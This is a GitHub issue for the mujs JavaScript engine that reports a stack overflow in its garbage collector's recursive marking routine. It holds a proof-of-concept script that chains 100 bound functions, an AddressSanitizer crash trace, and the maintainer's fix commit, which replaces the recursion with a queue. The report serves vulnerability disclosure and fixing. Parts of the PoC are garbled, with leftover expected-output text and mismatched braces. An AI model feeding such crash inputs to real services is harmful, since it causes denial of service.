

New issue

[Jump to bottom](#)

# stack overflow #133

🔒 Closed rain6851 opened this issue on Apr 17, 2020 · 4 comments

rain6851 commented on Apr 17, 2020

## Enviroment

operating system: ubuntu18.04  
compile command: make build=sanitize  
  
test command: ./mujs poc

## poc:

```
/*
 * est bound function chainnal implementation
 * to "collapse" bound funct
 */
====
F() bound foo
object this-F
string foo
undefined undefined
undefined undefined
undefined undefined
G() bound bound foo
object this-F
string foo
string bar
string quux
unarg-52
53 string arg-53
54 string arg-54
55 string arg-55
56 string arg-56
57 string arg-57
58 string arg-58
59 string arg-59
60 string arg-60
61 string arg-61
62 string arg-62
63 string arg-63
64 string arg-64
65 string arg-65
66 string arg-66
67 string arg-67
68 string arg-68
69 string arg-69
70 string arg-70
71 string arg-71
72 string arg-72
73 string arg-73
74 string arg-74
75 string arg-75
76 string arg-76
77 string arg-77
78 string arg-78
79 string arg-79
80 string arg-80
81 string arg-81
82 string arg-82
83 string arg-83
84 string arg-84
85 string arg-85
86 string arg-86
87 string arg-87
88 string arg-88
89 string arg-89
90 string arg-90
91 string arg-91
92 string arg-92
93 string arg-93
94 string arg-94
95 string arg-95
96 string arg-96
97 string arg-97
98 string arg-98
99 string arg-99
===*/

function test() {
  var func;
  var F, G, H, I;

  // Final function is an ECMAScript function.

  func = function foo(a, b, c, d) {
    print(typeof this, this);
    print(typeof a, a);
    print(typeof b, b);
    print(typeof c, c);
    print(typeof d, d);
  };
};
```

```

F = func.bind('this-F', 'foo');
G = F.bind('this-G', 'bar', 'quux');
H = G.bind('this-H', 'baz', 'quuux');
I = G.bind('this-I', 123, 234); // both H and I bind via G

print('F()', F.name);
F();
print('G()', G.name);
G();
print('H()', H.name);
H();
print('I()', I.name);
I();

// Final function is a native function.

func = Math.max;
F = func.bind(null);
G = F.bind(null, 3);
H = G.bind(null, 4);
I = H.bind(null, 5);

print('F()', F.name);
print(F());
print('G()', G.name);
print(G());
print('H()', H.name);
print(H());
print('I()', I.name);
print(I());

// Lightfunc final target needs testing too; it is covered by Math.max()
// if DUK_USE_LIGHTFUNC_BUILTINS is enabled.

// Long chain.

func = function foo() {
  print(typeof this, this);
  print(arguments.length);
  for (var i = 0; i < arguments.length; i++) {
    print(i, typeof arguments[i], arguments[i]);
  }
};

for (var i = 0; i < 100; i++) {
  func = func.bind('this-' + i, 'arg-' + i);
}
print(func.name);
func();
}

try {
  test();
} catch (e) {
}

```

## vulnerability description:

Poc will cause stack overflow. As shown below:

```

ASAN:SIGSEGV
=====
==16827==ERROR: AddressSanitizer: stack-overflow on address 0x7ffec639ff8 (pc 0x00000041ecb bp 0x7ffec63a000 sp 0x7ffec639fe0 T0)
#0 0x41ecba in jsG_markproperty /home/node/xmujjs/jsG.c:76
#1 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#2 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#3 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#4 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#5 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsG.c:78
#6 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#7 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#8 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#9 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsG.c:78
#10 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#11 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#12 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#13 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsG.c:78
#14 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#15 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#16 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#17 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsG.c:78
#18 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#19 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#20 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#21 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsG.c:78
#22 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#23 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#24 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#25 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsG.c:78
#26 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#27 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#28 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#29 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsG.c:78
#30 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#31 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#32 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#33 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsG.c:78
#34 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#35 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#36 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#37 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsG.c:78
#38 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#39 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#40 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77
#41 0x41edf3 in jsG_markproperty /home/node/xmujjs/jsG.c:78
#42 0x41f19b in jsG_markobject /home/node/xmujjs/jsG.c:94
#43 0x41efaf in jsG_markproperty /home/node/xmujjs/jsG.c:83
#44 0x41ed74 in jsG_markproperty /home/node/xmujjs/jsG.c:77

```

[illegible]

```
SUMMARY: AddressSanitizer: stack-overflow /home/node/xmujjs/jsgc.c:76 jsG_markproperty
==16827==ABORTING
```

Author

Owner

Owner

We are aware of the issues. We will get around to them when we have time. If you need a fix more urgently than that, you're more than welcome to submit a patch.

rain6851 commented on May 8, 2020

Author

We are aware of the issues. We will get around to them when we have time. If you need a fix more urgently than that, you're more than welcome to submit a patch.

Ok!

ccxvii commented on May 27, 2020

Owner

This should be fixed in the following commit. Thanks for the report!

commit [331c5ec](#)

Author: Tor Andersson [tor.andersson@artifex.com](mailto:tor.andersson@artifex.com)

Date: Thu May 14 13:42:00 2020 +0200

Issue 133: Eliminate recursion in GC scanning phase.

Use a queue instead of recursion to scan reachable objects.



ccxvii closed this as completed on May 27, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

